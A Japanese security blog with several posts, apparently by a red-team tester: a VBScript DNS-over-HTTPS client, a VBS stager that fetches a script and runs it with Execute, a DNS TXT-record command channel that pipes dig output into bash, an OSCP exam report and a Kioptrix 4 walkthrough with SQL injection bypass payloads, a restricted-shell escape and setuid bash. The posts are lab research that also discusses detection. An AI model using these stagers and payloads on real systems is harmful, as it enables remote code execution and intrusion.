nknskn ネタ置き場

IT使ってなんかやってる人間のたわごと

VBScriptでDoHを使った話 - DNSクエリ作ってdns\.googleにバイナリデータをPOSTする

タイトルが全て. 見た方が早いので能書きなし

Sample code

Function CreateDnsQuery(domain)
   ' https://www.atmarkit.co.jp/ait/articles/1601/29/news014_2.html
    Dim xmldoc, node
    Set xmldoc = CreateObject("Msxml2.DOMDocument")
    Set node = xmldoc.CreateElement("binary")
    node.DataType = "bin.hex"

   ' ID   |QR   |QDCNT|ANCNT|NSCNT|ARCNT 
   ' 00 00 01 00 00 01 00 00 00 00 00 00
    header = "000001000001000000000000"

   ' Query
    query = ""
    Dim DomainArray : DomainArray = Split(domain, ".") 
    For Each d in DomainArray
        dlen = Len(d)
        query = query & Right("0" & Hex(dlen), 2)
        For j = 1 To dlen
            query = query & Hex(AscB(Mid(d, j, 1)))
        Next
    Next
    EOQ = "00"
    
   ' Query Type
   ' A Record 00 01, IN 00 01
    querytype = "00010001"
    node.Text = header & query & EOQ & querytype
    CreateDnsQuery = node.NodeTypedValue
End Function

Function DoH(domain)
    Dim url : url = "https://dns.google/dns-query"
    Set oxhr = CreateObject("MSXML2.ServerXMLHTTP")
    oxhr.Open "POST", url, False
    oxhr.setProxy 2, "localproxy:8080", "" ' For debug
    oxhr.setOption 2, 13056                ' Ignore certificate errors
    oxhr.setRequestHeader "Content-Type", "application/dns-message"
    oxhr.Send CreateDnsQuery(domain)
    Set oxhr = Nothing
End Function

DoH("www.example.com")

f:id:news-nknskn:20200912111633p:plain

確認

f:id:news-nknskn:20200912112312p:plain

一致した. ヨシ!

所感

  • VBScriptは貧弱だといつから錯覚していた...?
  • DoHも使えるようになったのでこれでExf...ゲフンゲフン

VBSマルウェア(Stager)のだいぶ細かい話 - VBEの場合の細かくないver

以前の記事(VBSマルウェア(Stager)のだいぶ細かい話)について「vbeにエンコードされてたらどうなるんですか先輩!」とゴーストが囁いたので確認した

参考記事

VBSファイル

  • http_exec.vbs
    • 前と同じ

VBEファイル

動作確認

jquery.jsの中身

Wscript.echo CreateObject("WScript.Network").ComputerName

実行

f:id:news-nknskn:20200905191112p:plain

そのときのメモリ

Process Hacker > cscript > "Memory" tab > Strings, length: 5 > Filter, Contains, localhost

f:id:news-nknskn:20200905191414p:plain

展開されてた

以上

vbscript/one liner shell + dnsmasqでtxtレコード使ってコマンド実行とかして遊んだ話

VBScriptで遊んでみたpart X。shell(For linux, macOS)で同じことをもっと楽にできそうだったのでついでに試した。

TL;DR

  • DNSマルウェア関連の話で出てくるHeartbeetリクエストで怪しいドメインサブドメイン部分)に対してクエリ投げてるってとこ、コマンド実行だけだったら別に怪しいドメインに対するリクエストは必要ないよね(前提part)
  • 作るだけなら結構簡単。dnsログもテキストに残るからbeacon管理も紹介記事に出てくるHeartbeetの例みたく、怪しいサブドメインひっさげてクエリ投げなくてもlog parseでいけそう(構築・実験part)
  • 単にコマンド実行のためだけの代物が入り込んでる場合、情報が「実験」内でのクエリ(_acme.example.com, _acme.example.co.jpへのtxtレコード取得)みたいのだけだと発見はしんどそう、コマンド実行回数と送信先のチェック組み合わせだとか、検知の仕組みはちょっと考えないといけない気がする(所感part)
  • For CTFerな小ネタかもしれない

TOC

前提


構築

  • 環境(dnsmasqをkaliに入れて設定するだけ)
    • Server: dnsmasq on Kali
    • Victim 1: Windows 10
    • Victim 2: Kali(the same host as "Server")
    • Victim 3: macOS 10.15.6
  • Install and start dnsmasq
# ifconfig eth0 | grep "inet "
        inet 192.168.24.55  netmask 255.255.255.0  broadcast 192.168.24.255
# apt install dnsmasq
Reading package lists... Done
(snip)
# mv /etc/dnsmasq.conf /etc/dnsmasq.conf.default # backup
# echo << EOC > /etc/dnsmasq.conf
address=/.example.com/192.168.24.55
log-facility=/var/log/dnsmasq.log
log-queries
txt-record=_acme.example.co.jp,"Wscript.echo paylaodDomain" # For Windows
txt-record=_acme.example.com,"id;uname -a;echo $SHELL"
# For Kali, macOS
EOC
# dnsmasq --test
dnsmasq: syntax check OK.
# systemctl start dnsmasq
# netstat -anu | grep 53
udp        0      0 0.0.0.0:53              0.0.0.0:*                          
udp6       0      0 :::53                   :::*  
# dig -t txt _acme.example.com @localhost | grep -i txt
; <<>> DiG 9.16.4-Debian <<>> -t txt _acme.example.com @localhost
;_acme.example.com.     IN  TXT
_acme.example.com.  0  IN  TXT "id;uname -a;echo /bin/bash"

実験(遊ぶ)

Victim 1(Windows)

Function DnsCommunicator(mode, host)
    Dim sh : Set sh = CreateObject("WScript.Shell")
    Dim cmd : cmd = "%comspec% /c nslookup -q=" & mode & " " & host
    Dim cmdResult : Set cmdResult = sh.exec(cmd)
    Dim str : str = ""

    Select Case mode
        Case "txt"
            Do While Not cmdResult.StdOut.AtEndOfStream
                str = str & cmdResult.StdOut.Readline() & vbCrLf ' ここもっといい書き方ありそう
            Loop
            Dim regEx : Set regEx = New RegExp
            regEx.Pattern = Chr(34) & "(((\\\\" & Chr(34) & ")|[^" & Chr(34) & "])*)" & Chr(34)
            regEx.IgnoreCase = True
            regEx.Global = True
            Dim Matches : Set Matches = regEx.Execute(str)
            instruction = Replace(Matches(0), """", "") ' ここの(0)は決め打ちでいいのか疑問
        Case "a"
            '''''''''''''
            ' TBD
            '''''''''''''
            tmp = ""
            Do While Not cmdResult.StdOut.AtEndOfStream ' ここももっといい書き方ありそう
                tmp = cmdResult.StdOut.Readline()
                If InStr(tmp, "Address") Then
                    str = str & tmp & vbCrLf
                End If
            Loop
            Instruction = str
    End Select

    DnsCommunicator = instruction
    Set sh = Nothing
End Function

paylaodDomain = "_acme.example.co.jp"
nameSrvDomain = "192.168.24.55" ' 実際にはつけないだろうなぁ
mode          = "txt"
sleeptime     = 3 * 1000


Do
    res = DnsCommunicator(mode, paylaodDomain & " " & nameSrvDomain)
    Wscript.echo res
    Execute res
    Wscript.sleep(sleeptime)
Loop
  • 試す
> cscript dns_exec.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

Wscript.echo paylaodDomain
_acme.example.com
^C

Victim 2(kali)

# dig -t txt _acme.example.com @localhost | grep \" | awk -F\" '{print $2}' | bash
uid=0(root) gid=0(root) groups=0(root)
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
/bin/bash
# while true; do echo "----"; date; echo "----"; dig -t txt _acme.example.com @localhost | grep \" | awk -F\" '{print $2}' | bash; sleep 10; done
----
Fri 28 Aug 2020 06:00:59 PM JST
----
uid=0(root) gid=0(root) groups=0(root)
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
/bin/bash
----
(snip)
----
Fri 28 Aug 2020 06:01:39 PM JST # <---- txtの中身をwhoamiにしてsystemctl restart dnsmasq
----
root
(snip)

Victim 3(macOS)

% dig -t txt _acme.example.com @192.168.24.55 | grep \" | awk -F\" '{print $2}' | bash
uid=501(nknskn) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
Darwin nknskn-MacBook-Pro-2020.local 19.6.0 Darwin Kernel Version 19.6.0: Thu Jun 18 20:49:00 PDT 2020; root:xnu-6153.141.1~1/RELEASE_X86_64 x86_64
/usr/local/bin/zsh
% # 以降、kaliでやった場合と似た感じになるので省略

dnsmasq log

# less /var/log/dnsmasq.log
Aug 28 18:31:51 dnsmasq[3791]: reading /etc/resolv.conf
Aug 28 18:31:51 dnsmasq[3791]: using nameserver 192.168.24.1#53
Aug 28 18:31:51 dnsmasq[3791]: read /etc/hosts - 10 addresses
Aug 28 18:32:47 dnsmasq[3791]: query[TXT] _acme.example.com from ::1
Aug 28 18:32:47 dnsmasq[3791]: config _acme.example.com is <TXT>
Aug 28 18:33:05 dnsmasq[3791]: query[TXT] _acme.example.co.jp from ::1
Aug 28 18:33:05 dnsmasq[3791]: config _acme.example.co.jp is <TXT>
Aug 28 18:34:36 dnsmasq[3791]: query[TXT] _acme.example.co.jp from 192.168.24.54
Aug 28 18:34:36 dnsmasq[3791]: config _acme.example.co.jp is <TXT>

所感とか

  • 上のようなvbscript(wsh)だったりshellscriptだったりがpersistenceされていたら、とりあえずDNSを疑いたい
  • しかしDNSのクエリログはともかく、レスポンスまで保存してる企業なんてあるのか?無理だろ
  • DNS使って命令送りこみつつ、HTTPで出てくる口を探すとかやってるグループあったりすんのかな。めっちゃ時間かかりそうだけど
  • この手のがInitial accessに使われてたりすると通信ログだけから「感染している端末があるかどうか」を見つけるのは大変そう、というかほぼ無理な気がする(自分でできる気はしない)
  • 取得したデータのdecode箇所の実装を頑張れば、Aレコードとか他のレコードに対するクエリを使って命令の取得ができそう
    • ただしDNSクエリ数はその分増えるから、DNSログのホストについてカウントできるならある程度は炙り出せる(可能性はある)
    • まあ実運用的にはログ量の問題で困難極まりない気もする
  • vbscriptのコードをマクロに仕込んで送付される可能性はあるのか?という疑問に関しては「送る分には可能だけど、検知されるかどうかというとこで条件あり」とだけ
  • 完全に防ぐのはしんどい気がする、初弾のあとで、攻撃者ができないことを増やしていく方が現実的な気はする
    • ユーザの操作性を奪わない程度にやらないといけないと考えると、バランス難しい

以上

VBSマルウェア(Stager)のだいぶ細かい話

VBSマルウェア(stager)のメモリを見てみたよ、という話。経緯に前提とモチベーションを書いてるので長くなってる。飛ばしてもいいと思うけどもあとで「こいつなんでそもそもこんなことやってるんだろう」と思うかもしれない。

経緯

Feb, 2020に開催されたssmjpでこんな話(RedTeamerがRedTeamOpsを受けてみた)をさせていただく機会に恵まれておりまして、まあ実際には話す前に公開されたブログBlack Hat USA 2019 / DEF CON 27に参加してきました -Black Hat編- : NTT Com Haruka Hoshinoが良い感じの内容で、この記事を読んでもらえればざっくりした内容は伝わると判断しました。なので、トレーニングの内容はだいぶ端折ってトレーニングに関連するネタとかAVと戦ってる話とか自作ツールの話をしてたんですが、まあその中でVBS stagerの話をしてました。

どんなStagerかというと具体的には以下

簡単にまとめるとこんな感じ

  • WSHには文字列をスクリプトとして解釈して実行する関数(Execute, ExecuteGlobal)がある
  • このブログで報告されたマルウェアは「実行したいスクリプトを適宜指定のURLから取得し、Execute関数を利用してそのスクリプトを実行する」という機能があった
  • 解析したときにはもうサーバ上にはマルウェアが実行したであろうスクリプトは存在しなかった(正確には名前解決ができないレベルで片づけ済みだった)ので何されたかよくわからん

で、ssmjpの中で(あと以前書いたブログで)、実際にそんな感じのvbscriptを書いて遊んでみたら以下のような気付きがあった、という話をしました。

  • スクリプト内で定義した変数の値を、スクリプト実行中に変更可能
  • COMからWindowsの機能をいろいろ利用できる
    • WinHTTPRequestとか
    • LDAP queryとか > LDAP://CN=hoge,OU=Users,DC=hogehoge,DC=com
    • WMI queryとか > Select * From AntiVirusProduct
    • (ry
  • (ry

で、いくつかの課題のうちこんなのを上げてました

  • Executeってどんな感じで動く? ⇒メモリ上で文字列をソースとして再定義してる感じっぽく見える
  • そもそもVBScriptってどう動いてる?⇒追い切れてない、プロセス解析しなきゃ
  • (ry

というわけで、この記事はダウンローダ(手元ではstagerに改良済み)がメモリ上でどんな感じに「ダウンロードしたスクリプトを展開しているのか」という話です。

スクリプト

シンプルに。汚いとか見づらいと思う方は適当にリファクタリングして遊んでください。 こんな感じのスクリプトだと5秒ごとにlocalhostにアクセスしにくるStagerになります。

On Error Resume Next

' Decode response
Function byte2str(bytes)
    Dim oNode
    Set oNode = CreateObject("System.Text.UTF8Encoding")
    byte2str = oNode.GetString((bytes))
    Set oNode = Nothing
End Function

' Called by "response"
Function Test1()
    Wscript.echo "Alert!"
End Function

Dim obj, response, url, domain, uri, sleeptime
Set obj = CreateObject("MSXML2.ServerXMLHTTP.6.0")

domain    = "localhost"
uri       = "/jquery.js"
sleeptime = 5000

obj.setTimeouts 3000, 3000, 3000, 3000
obj.setOption 2, 13056

Do 
    response = ""
    url = "http://" & domain & uri
    obj.Open "GET", url, False
    obj.Send
    response = byte2str(obj.responseBody)
    Execute(response)
    
    WScript.Sleep(sleeptime)
Loop

普通に実行したときのメモリ

Process Hackerで見てみる。cscript.exeで実行した場合はcscript.exeのプロセスを見ること。流れは以下

  • プロセスのプロパティを開く(Enterが楽)
  • Memoryを開く、探すのめんどくさいんでコードが展開されてるメモリを見つける、「Strings...」
  • 怪しいやつを見る場合、"Resume"で引っかける方針でいくといい気がする. こいつは隠しようがない文字列なので。というわけでMininumは6にして検索
  • FilterでResume、こうすると以下の画像のような感じになるはず

f:id:news-nknskn:20200813192038p:plain
ProcessHacker01

f:id:news-nknskn:20200813192534p:plain
ProcessHacker02

良い感じにメモリに展開されたコードが出てきた。それじゃ通信先についても見ておく。

f:id:news-nknskn:20200813193419p:plain
ProcessHacker03

&で連結されているURLが、IServerXMLHTTPRequestにそのまんま入ってきていることがわかる。

変数を上書きした場合

それじゃ試しに変数domainの値をatatatatatattacker(千葉繁風)に変えてみる。
具体的にはjquery.jsファイル内に以下を書く. 事前にhostsに127.0.0.1 atatatatatattackerを突っ込んでおくこと。

domain = "atatatatatattacker"

メモリ

f:id:news-nknskn:20200813193303p:plain
ProcessHacker04

まあこんな感じでメモリ上で変数が再定義されて、atatatatatattackerがIServerXMLHTTPRequestに入ってきている。というわけでメモリ上で文字列をソースとして再定義してる感じっぽく見えるっていうのは当たってそうだった。
じゃあ関数を再定義したらどうなんの?ってところ。

Function Test1を上書きした場合

まずは上書き前

f:id:news-nknskn:20200813194020p:plain
ProcessHacker05

たぶんOn Errorが入っているのは最初に読み込んだコードだと思われるので他の2か所を見てみる。
上の方

f:id:news-nknskn:20200813194218p:plain
ProcessHacker06

下の方

f:id:news-nknskn:20200813194249p:plain
ProcessHacker07

関数名でデータ持ってるなら前後のメモリに関数のアドレスがあってもおかしくはない気がしたが、よくわからなかった。やっぱWindowsわからない。
とりあえず以下みたいな感じでjquery.jsに書いて、ホスト名を出してみる

Function Test1()
    Wscript.echo CreateObject("WScript.Network").ComputerName
End Function
Call Test1

まあ出てくる

f:id:news-nknskn:20200813195007p:plain
Hostname

そんじゃこの時のメモリはどうなってるかというと

f:id:news-nknskn:20200813195155p:plain
ProcessHacker08

おお、jquery.jsで定義した関数が新しくメモリに載ってきてる。
どうやってそっちを呼ぶようになったのかはまた次回(やる気になったら。ならない気がする)

まとめ

まあこんな感じでVBS(WSH) downloader/Stagerはメモリ上に変数値だったり関数だったりを再定義して、そいつを実行していく感じにできるという話でした。
wshが動いてるときのメモリさえ手に入れば、動的に定義された関数はメモリフォレンジックで見つけることはできるかもしれない(超サイヤ人的な人だけかもしれんけど)。

以上

OSCPに合格できたので所感とか個人的にやったこととか書いとく

極力長くならない程度で要点(以下の3点)と私のパターンを書いとく

  • Preparation
  • Exam
  • Reporting

Penetration Testingの仕事をする場合にもなにかが効いてくるかもしれない. 知らんけど


スキル

  • 診断員, RedTeamerのアラサー
  • Web診断がメイン, バイナリはiOSで見る程度, マルウェア解析は遠い昔にやったことがある
  • Web/NW/iOS/Android/メール訓練の診断提供側はなんとなくわかる
  • 2年ぐらい前に初めてNW診断にちゃんと触れた, 同時にペネトレも勉強し始めた
  • RedTeam関連はVBA/VBSを使ってAV/EDRと戦ってることが多い
  • 英語スキルは読み書き聞きならなんとなく, べしゃり暮らせない

Preparation

2ヶ月ぐらいで以下をやった

Penetration

VulnHub

Penetration Testingの入り, アイデア補填として良コンテンツ, Lab/Exam攻略を考えると物足りない. 「ペネトレって具体的にどうやっていけばいいのかわからん」「PenetrationTestingやってたけどちょっと間が空いちゃった」みたいなシチュエーションで感覚を掴む/取り戻すのに有用かも. 4,5台やった.

HackTheBox

Exam対策と考えると良環境, easy-mediumがなんなく解けてLogging & ReportingのトレーニングをしておくとExamに直接効く. medium以上はExamの一番難しいmachine向けにいいのかもしれない. わたしはeasy-mediumを3,4台, difficult以上はやってない.

Lab

良環境だがExamで出ないタイプがある, 知見増と検証を目的と考えれば使わない手はない. 20台ぐらいしか触れなかった. もうちょい触りたい

Reporting

  • High-level report, key findings - recommendation matrix, Detailsのテンプレを用意
  • Detailsに関してはFindings name, Description, Recommendation, logs, Walkthroughの枠とテンプレを各マシン分用意
  • 外資の診断チームにいるのでEnglish reportを参考にしまくった
  • 各種画像, Findingsに対応したRecommendations, Referencesの3つを載せればほぼ完成, という程度を目指して用意した(Reporting時はどうせ疲れて頭が働かないと予想)

Attacking Methodology

  • Local WikiにInitial attack vector/Priv Esc/Reverse shell/Persistenceの枠を作って、コマンド/ログレベルでメモしまくった. イメージはMITRE ATT&CKの詳細版
  • VulnHub/HackTheBoxのWriteupを読み漁った. 手法, コマンドを参照するのではなく, 調査方針等自分にない観点を漁る目的
  • Attacking flowを思いつく限り用意. smb mount > download ssh key > ssh login > (goto priv esc section), traversal/lfi config file > Web admin > login > edit php(add reverse shell) > (goto priv esc section)とかとか. 観点漏れを防ぐ目的

直前の1週間

  • ほぼ艦これのイベントやってた. 今回の規模どうかしてる(All甲, 第4マップまで攻略情報参照禁止縛り, この記事書いてる時は最終海域最後のボスに挑戦中)
  • 前日にBoFのおさらいとReportingの練習&テンプレの更新
  • 緊張して疲れるのが一番まずいのでリラックスして挑むことを心がけた. 艦これイベントのおかげで精神にキた

Exam

  • 事前に目標のタイムテーブルを作成した. 以下みたいな感じ

f:id:news-nknskn:20200728210208p:plain

  • AM 1時開始、5時までに3台(10pt, 20 pt, BoF)の攻略&ログ取得, Reportへのざっくりな記載まで終えた, 気分転換目的でジョギングしてシャワー浴びて30分ぐらい横になった. ここではアドレナリンドバドバであまり寝れなかった(失敗)
  • 6 AM, 残り 20 pt 一台と25 pt 一台でまったり気楽にやった. 20 ptをざっとみたもののInitial accessで使えそうなものがなかったのでもう一回AutoReconをかけたら, 初回での検出漏れっぽいPortが出てきた.
  • 8 AM, 出てきたPortをみてみたらHackTheBoxでやったパターンと同じやつだった(??「ゼミでやったところだ!」). その後local.txtはすぐ取れたもののPriv escでハマったので3時間ぐらい寝た. 睡眠リラックス大事.
  • 11 AM, 起床後にもう一回シャワー浴びて目覚ましがてら 25pt をやった. AutoReconの結果がイミフすぎてもう一回スキャンし始める.
  • 0 PM, 20 ptでPriv Escに使えそうなやつを見つけたのでいろいろ試し始める
  • 3 PM, Priv esc - Attacking flowの3,4番目に試したやつで管理者権限をとる. ここで合計 75pt をGet(残り10時間). Reportingを始めてログの再取得等に時間を使う
  • 5 PM, 25ptに再度向き合う, 相変わらずイミフだった&頭が働いてなかったので不貞寝(7 PM), 起きたら11 PMだった(残り2時間足らず)
  • 11 PM -, あくびしながらいろいろ考えてみたものの進まずそのまま終了. 今考えるとJavaでHttpヘッダになんか突っ込む系だったかもしれない

Reporting

  • Exam中にちょこちょこやってたので2 AMぐらいまで少し手直しして, その後就寝
  • 11 AMに起きる, Reporting再開
  • 2 PM, 90%完成までいった. その後散髪やら買い物やらジョギングしに出かけたりしてリフレッシュ
  • 5 PM, Review&艦これ(この辺から酒飲みながらやってた)&Reviewやって提出, 最終的に9 PMにアップロードした
  • Codeとかも全部載せ, 4 machinesの完全攻略と「誰でも攻撃の意図を理解し, 再現できること」を目標としたレポートの構成にした結果, 70 pagesちょうどまでいった. 全クリしてたら 100 pagesいってたかもしれない.
  • このボタンを押す, このコマンドでこれを手に入れる, この情報はこれに役立つ, ○○を目指して××から行うなどなど, ExploitだけでなくExploitに使う情報の取得, 出力, その意図とかもだいたい書いた, おかげで時間かかってた

所感

  • 結局、準備(特にReport)とggr力と運だと思う. 「ゼミで(ry」は運としか言えない. 事前にHackTheBoxとかにたくさんチャレンジしておけば本番でぶち当たる確率を上げることはできるかもしれない
  • Max 75ptで合格できたという点からReportingはほぼ減点なしだったんだと思う. 誰でも攻撃の意図を理解でき, かつ再現できるレベルを目指して手順を残すといいのかもしれない
  • 報告書の構成もUSのものに沿って作成していたのでそれが採点者に刺さった可能性も

以上, Happy hacking

Macbookの移行でVMware Fusionの仮想マシンが動かなくなった話

新しいMacbook Proが届いたのでテンション高めに移行して、アプリの起動確認をしていたときに遭遇. Fusionは起動するもののVM起動時に以下のようなメッセージのダイアログが出て起動中止に陥る.

cannot open /dev/vmmon. (snip) make sure load ... (snip)

ざっと調べてみたところ, kextのload時にエラーが起きていた. 調査方法はこのブログを参考にした. ありがたや

blog link : Vmware Kext | @sskaje

以下調査時のコマンドログ(一部抜粋)

% sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start
Installing files from /Library/Preferences/VMware Fusion/thnuclnt
mkdir: /etc/thnuclnt: File exists
Copying .thnumod to /etc/thnuclnt
Copying thnuclnt.conf to /etc/thnuclnt
Copying thnuclnt.convs to /private/etc/cups
Copying thnuclnt.types to /private/etc/cups
Copying thnucups to /usr/libexec/cups/filter
Restarting printing services
No matching processes were found
/Applications/VMware Fusion.app/Contents/Library/kexts/vmmon.kext failed to load - System policy prevents loading the kernel extension.

System policy preventsらしい. このへんで調べてみたらKarabinerのissueで似たようなのがあった. 止めているのはmacOSのSecure Kernel Extension Loadingって機能で, 手っ取り早い解決方法は

  • System Preferences > Security & Privacy > Privacy > Accessbility でVMware Fusionにチェック
  • System Preferences > Security & Privacy > General で VMware Inc. を Allow

することらしい. 私の場合は「チェック入れてる」「Allowボタン出てこんぞ」という, もうちょいめんどい状況だった. というわけで別の解決方法探しの旅に出る.

さて, どうやって探したもんか, というところで以下の 2 点を考えた.

  • 上記のカーネル拡張ファイルのロードエラーは, 許可された開発者 or アプリのものでないextを読み込もうとしたから発生している
  • Allow ボタンで開発者 or アプリの識別子をどっかのplistに除外対象として登録している(はず)

というわけでマニュアルで解決するなら「(開発者 or アプリの)識別子登録ボタンに対応するコマンドを打ち込む」もしくは「Kernel拡張の読み込み許可リストに識別子を直接書き込む」なので, 適当にmac kernel extension approvalとかそんな感じの英語でググった. 結果, MITのknowledge baseがヒットした

Troubleshootingのところを試してみる

  • Startup the Mac in recovery mode.
  • Click the Utilities menu and select Terminal.
  • Enter the following command:
    • /usr/sbin/spctl kext-consent add TEAMID
    • Press Enter
    • e.g. for Sophos the command would be: /usr/sbin/spctl kext-consent add 2H5GFH3774
  • Close the Terminal app and restart

今回はVMwareなのでもうちょっと下にあるVMwareのTeam ID(EG7KH642X6)を打ち込んだ. ここは鵜呑みにするんじゃなくて念のためVMware Fusionのplistを確認しとけばよかったと思った(小並感).

Recovery modeで上記のコマンドを入力後, VMware Fusionを再起動して無事解決.

f:id:news-nknskn:20200601023602p:plain

この件で2時間近くも使ってしまった. 移行でハマるとほんとしんどい.

Kioptrix Level 1.3 #4 Writeup

引き続きVulnHub writeup

Target

Summay

  • SQL injection against login request
  • bypass authentication on 80/tcp and can see user's password
  • can login on ssh with the identified password
  • bypass restricted shell with spawning tty
  • can access to mysqld as root without password
  • chmod u+s /bin/bash
  • got root with /bin/bash and bash -p

Log

Identify the host address

  • arp-scan, arp-scan 192.168.0.0/24

Recon

  • AutoRecon /opt/AutoRecon/autorecon.py 192.168.0.101
# tree ./result/
(snip)
        ├── tcp_139_smb_nmap.txt
        ├── tcp_22_ssh_nmap.txt
        ├── tcp_445_smb_nmap.txt
        ├── tcp_80_http_gobuster.txt
        ├── tcp_80_http_index.html
        ├── tcp_80_http_nikto.txt
        ├── tcp_80_http_nmap.txt
        ├── tcp_80_http_robots.txt
        ├── tcp_80_http_screenshot.png
        ├── tcp_80_http_whatweb.txt
        ├── _top_20_udp_nmap.txt
        ├── udp_137_smb_nmap.txt
(snip)

tcp:22, 80, 139, 445からなんとか情報を引き出す. 流れとしてユーザ特定→パスワード取得→ssh loginを想定. ダメだったらまた別の流れを考える.

  • Check the log files
# less ./results/192.168.0.101/scans/enum4linux.txt

(snip)
        User Name   :   john
        Full Name   :   ,,,
        Home Drive  :   \\kioptrix4\john
        Dir Drive   :   
        Profile Path:   \\kioptrix4\john\profile
(snip)
        User Name   :   loneferret
        Full Name   :   loneferret,,,
        Home Drive  :   \\kioptrix4\loneferret
        Dir Drive   :   
        Profile Path:   \\kioptrix4\loneferret\profile
(snip)

john, loneferret, robert, nobody, rootユーザがシステム上に存在することを確認、あとでsshで使いそう、忘れないようにしておく

# less ./results/192.168.0.101/scans/tcp_80_http_gobuster.txt
(snip)
/index (Status: 200) [Size: 1255]
/index.php (Status: 200) [Size: 1255]
/index.php (Status: 200) [Size: 1255]
/john (Status: 301) [Size: 352]
/logout (Status: 302) [Size: 0]
/logout.php (Status: 302) [Size: 0]
/member (Status: 302) [Size: 220]
/member.php (Status: 302) [Size: 220]
(snip)

index, john, logout, memberがコンテンツとしてありそう、コンテンツはシステムユーザと連動か?

その他、バージョン等を確認したもののremote commandを実行可能なものはすぐには発見できず、いったんWebをみる

http://192.168.0.101/にアクセス f:id:news-nknskn:20200328161019p:plain

LigGoat secure Login Copyright (c) 2013でなんか出てきそう→Googleで見たがWriteupぐらいだった、他も特になし。コンテンツも見当たらないのでログインリクエストを使って様子を見てみる.

  • 簡易チェック
    • test:test, john:test, loneferret:testなどでレスポンスに差があるか確認、Wrong Username or Passwordのみだったので差の確認はできず、ユーザの存在判定には使えなさそう
    • memberへのアクセスが302だったのでログイン後の遷移可能なところに存在する(セッションIDが発行されてない状態でアクセスして302, ログイン画面が存在)と判断、とりあえずヘッダになんか出てないか確認
    • さらっと見た感じはなにもなかった
  • SQLチェック

とりあえず1'and 1=1を両方に突っ込んで送信 f:id:news-nknskn:20200328162211p:plain

SQLの組み立てに問題がありそう. Username, Password片方ずつに↑の値を入れたらPasswordの方で画像と同じエラーが出た. Passwordの方になんかありそう

  • Auth bypass with SQL Injection

以下のリクエストをloginに保存. sqlmapを使う

POST /checklogin.php HTTP/1.1
Host: 192.168.0.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101/
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

myusername=test&mypassword=test*&Submit=Login

sqlmap with burp

# sqlmap -r login --level 5 --risk 3 --proxy=http://localhost:8080

(snip)
[hh:mm:ss] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
got a 302 redirect to 'http://192.168.0.101:80/login_success.php?username=test'. Do you want to follow? [Y/n] 
(snip)

なんかでた。burpのログを確認、該当のリクエストは以下。

POST /checklogin.php HTTP/1.1
Content-Length: 114
Host: 192.168.0.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101/
Content-Type: application/x-www-form-urlencoded
DNT: 1
Upgrade-Insecure-Requests: 1
Connection: close

myusername=test&mypassword=test%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%20FROM%20DUAL--%20bTVa&Submit=Login

Login bypassのペイロードtest' UNION ALL SELECT NULL,NULL,NULL FROM DUAL-- vpGTを使用する(あとで確認したら1'or 1=1#でもいけた. 仕事でなければ次回は手動でもこれ突っ込んでみるか) gobusterの結果からjohnがユーザにいそう、というわけでusernameにjohnを指定してbypassしてみる

f:id:news-nknskn:20200328163725p:plain パスワードが出てきた. ユーザ名がシステム上に存在するユーザjohnと一致してるのでsshも試してみる

SSH login and Privilege Escalation

得られたパスワードを使ってsshしてみた

f:id:news-nknskn:20200328163933p:plain 入った. なんのコマンドが使えるのか確認する.

john:~$ ls
john:~$ sudo -l
*** forbidden sudo -> sudo -l
john:~$ id
*** unknown command: id
john:~$ uname
*** unknown command: uname
john:~$ /bin/bash
*** unknown command: /bin/bash
john:~$ ls /
*** forbidden path -> "/"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.
john:~$ pwd
*** unknown command: pwd

なんもできなさそうな気がする. とりあえずhelpを叩く

john:~$ help
cd  clear  echo  exit  help  ll  lpath  ls
john:~$

なんだこれは. たまげたなぁ. とりあえずshell restricted priv escとかでぐぐる. 以下のページが出てきた.

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

エラーの出方がlshellと一致してる. lshellがなにかググる

https://github.com/ghantoos/lshell

lshell is a shell coded in Pythonらしい. ttyをspawnする方法の中で打てるコマンド&pythonを使う方法を確認, echo os.system('/bin/bash')が使えるかも

john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ ls
john@Kioptrix4:~$ ls /
bin  boot  cdrom  dev  etc  home  initrd  initrd.img  lib  lost+found  media  mnt  opt  proc  root  sbin  srv  sys  tmp  usr  var  vmlinuz

動いた. あとは普通にshellを叩く感じで権限昇格に使えそうなものを漁る. ひとまずLinEnum.shを使う. LinEnumのダウンロードがなぜかwgetでできなかったので、クリップボード経由でコピーした.

LinEnumコピー

(kali)# cat ./LinEnum.sh | xsel --clipboard --input
(kioptrix4)$ vi ./LinEnum
:set paste
Ctrl+V

LinEnum実行

john@Kioptrix4:~$ chmod +x LinEnum.sh 
john@Kioptrix4:~$ ./LinEnum.sh

(snip)

root      4866  0.0  0.0   1772   524 ?        S    09:21   0:00 /bin/sh /usr/bin/mysqld_safe
root      4908  0.0  1.4 127336 30888 ?        Sl   09:21   0:06 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var
